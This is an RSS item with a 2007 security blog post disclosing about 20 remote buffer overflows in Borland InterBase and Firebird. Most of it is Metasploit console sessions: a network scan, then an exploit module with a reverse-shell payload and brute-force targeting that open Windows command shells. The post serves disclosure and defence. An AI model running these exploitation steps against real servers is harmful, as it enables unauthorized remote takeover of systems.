		<description><![CDATA[While developing an exploit module for the Borland Interbase ibserver.exe &#8216;create&#8217; Buffer Overflow Vulnerability, published by TippingPoint, we decided to take a look into Borland InterBase code, and unfortunately, the results were not good.
We found about 20 buffer overflow vulnerabilities that affects all versions of Borland InterBase, and some of them also affects the Firebird [...]]]></description>
			<content:encoded><![CDATA[<p>While developing an exploit module for the <a href="http://dvlabs.tippingpoint.com/advisory/TPTI-07-13">Borland Interbase ibserver.exe &#8216;create&#8217; Buffer Overflow Vulnerability</a>, published by TippingPoint, we decided to take a look into Borland InterBase code, and unfortunately, the results were not good.</p>
<p>We found about 20 buffer overflow vulnerabilities that affects all versions of Borland InterBase, and some of them also affects the Firebird Relational Database. All remote, trivial to exploit, stack-based buffer overflows.</p>
<p><span id="more-32"></span></p>
<p>We contacted both Borland/CodeGear and Firebird developers about these vulnerabilities. After failed attempts to find an email address to report security issues in their products, we tried their bug tracking systems. Borland/CodeGear asked us to send information to their support email address, but we didn&#8217;t get any further responses. Firebird developers didn&#8217;t answer to our reports either, but they corrected these vulnerabilities in the latest version of Firebird.</p>
<p>We published the advisories, an auxiliary scanner module and exploit modules for some of these vulnerabilities for <a href="http://www.metasploit.com/framework/">The Metasploit Framework</a>.</p>
<p>The auxiliary scanner module searches for running InterBase/Firebird instances on an address range and retrieves version and implementation of the InterBase server from InterBase Services Manager. This auxiliary module can be used to determine the exact target will be used in an exploitation scenario.</p>
<pre>msf &gt; use auxiliary/scanner/misc/ib_service_mgr_info
msf auxiliary(ib_service_mgr_info) &gt; set RHOSTS 192.168.213.0/24
RHOSTS =&gt; 192.168.213.0/24
msf auxiliary(ib_service_mgr_info) &gt; run
[*] Trying 192.168.213.0
[*] Trying 192.168.213.1
[*] Trying 192.168.213.2
...
[*] Trying 192.168.213.132
IP Address: 192.168.213.132
Version of the InterBase server: WI-V6.0.1.0
Implementation of the InterBase server: InterBase/x86/Windows NT

...
[*] Trying 192.168.213.253
[*] Trying 192.168.213.254
[*] Trying 192.168.213.255
[*] Auxiliary module execution completed
msf auxiliary(ib_service_mgr_info) &gt;
</pre>
<p>Using this information, one can select the exact target from one of our published exploit modules.</p>
<pre>msf auxiliary(ib_service_mgr_info) &gt; use windows/misc/ib_isc_attach_database
msf exploit(ib_isc_attach_database) &gt; set RHOST 192.168.213.132
RHOST =&gt; 192.168.213.132
msf exploit(ib_isc_attach_database) &gt; set LHOST 192.168.0.4
LHOST =&gt; 192.168.0.4
msf exploit(ib_isc_attach_database) &gt; set PAYLOAD windows/shell_reverse_tcp
PAYLOAD =&gt; windows/shell_reverse_tcp
msf exploit(ib_isc_attach_database) &gt; show targets

Exploit targets:

   Id  Name
   --  ----
   0   Brute Force
   1   Borland InterBase WI-V8.1.0.257
   2   Borland InterBase WI-V8.0.0.123
   3   Borland InterBase WI-V7.5.0.129 WI-V7.5.1.80
   4   Borland InterBase WI-V7.0.1.1
   5   Borland InterBase WI-V6.5.0.28
   6   Borland InterBase WI-V6.0.1.6
   7   Borland InterBase WI-V6.0.0.627 WI-V6.0.1.0 WI-O6.0.1.6 WI-O6.0.2.0
   8   Borland InterBase WI-V5.5.0.742
   9   Borland InterBase WI-V5.1.1.680
   10  Debug

msf exploit(ib_isc_attach_database) &gt; set TARGET 7
TARGET =&gt; 7
msf exploit(ib_isc_attach_database) &gt; exploit
[*] Started reverse handler
[*] Command shell session 1 opened (192.168.0.4:4444 -&gt; 192.168.0.4:33891)

Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32&gt;
</pre>
<p>The brute force option assumes that ibguard/fbguard is running and tries every available target from an exploit module sequentially.</p>
<pre>msf exploit(ib_isc_attach_database) &gt; set TARGET 0
TARGET =&gt; 0
msf exploit(ib_isc_attach_database) &gt; exploit
[*] Started reverse handler
[*] Brute forcing with 10 possible targets
[*] Trying target Borland InterBase WI-V8.1.0.257...
[*] Trying target Borland InterBase WI-V8.0.0.123...
[*] Trying target Borland InterBase WI-V7.5.0.129 WI-V7.5.1.80...
[*] Trying target Borland InterBase WI-V7.0.1.1...
[*] Trying target Borland InterBase WI-V6.5.0.28...
[*] Trying target Borland InterBase WI-V6.0.1.6...
[*] Trying target Borland InterBase WI-V6.0.0.627 WI-V6.0.1.0 WI-O6.0.1.6
WI-O6.0.2.0...
[*] Command shell session 2 opened (192.168.0.4:4444 -&gt; 192.168.0.4:33942)

Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32&gt;
</pre>
<p>It is important to note that all Borland InterBase vulnerabilities published by us were not corrected by the vendor and are present in all (including the latest) versions of their product.</p>
]]></content:encoded>
			<wfw:commentRss>http://risesecurity.org/2007/10/03/interbasefirebird-fun/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
